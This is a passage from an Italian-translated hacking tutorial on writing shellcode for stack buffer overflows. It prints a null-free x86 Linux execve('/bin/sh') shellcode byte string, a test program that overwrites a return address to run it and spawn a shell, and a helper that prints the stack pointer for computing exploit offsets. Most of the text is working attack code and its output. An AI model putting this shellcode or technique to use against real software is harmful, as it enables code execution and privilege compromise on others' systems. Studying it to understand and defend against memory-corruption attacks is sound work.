0x80483e8 <main+40>: 0x68 <--------- fine del codice
(gdb)quit


riscriviamo il programma:

 
-------------- shell4.cpp ----------------
char c0de[]=
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68";

void main(){
char buf[5];
long *ret=(long *)(buf+12);
*ret=(long)c0de;
}
-------------- Fine ----------------
compile shell4.cpp
root@scorpion#cc shell4.cpp -o shell4
root@scorpion#./shell4
sh-2.03#


Funziona... ed e' piu' piccolo del codice precedente e senza 0x00 oppure \x00 o '\0' percio' strcpy(), sprintf() lo copieranno tutto...

Eccovi un semplice programma per stampare il puntatore allo stack di questo programma:

 
------- sp.cpp -----------
unsigned long get_esp(){
__asm__(" movl %esp,%eax \n");
}

void main(){
printf(" Stack pointer is 0x%x%\n",get_esp());
}
------- Fine -----------
root@scorpion#cc sp.cpp -o sp
root@scoprion#./sp
Il puntatore allo stack e' 0xbffff910 <--- il vostro output potrebbe essere differente
root@scorpion#


Questo testo e' stato scritto usando vi e joe come text editors

-EOF-

 
##############################################################################################
Questo tutorial e' stato tradotto da N'eM Sy (nemesy.it@tiscalinet.it). Per la traduzione mi
sono attenuto per quanto era possibile all'originale. Per qualsiasi problema, informazione e
per ottenere la versione originale del testo andate su <http:\\napolihak.cjb.net>.

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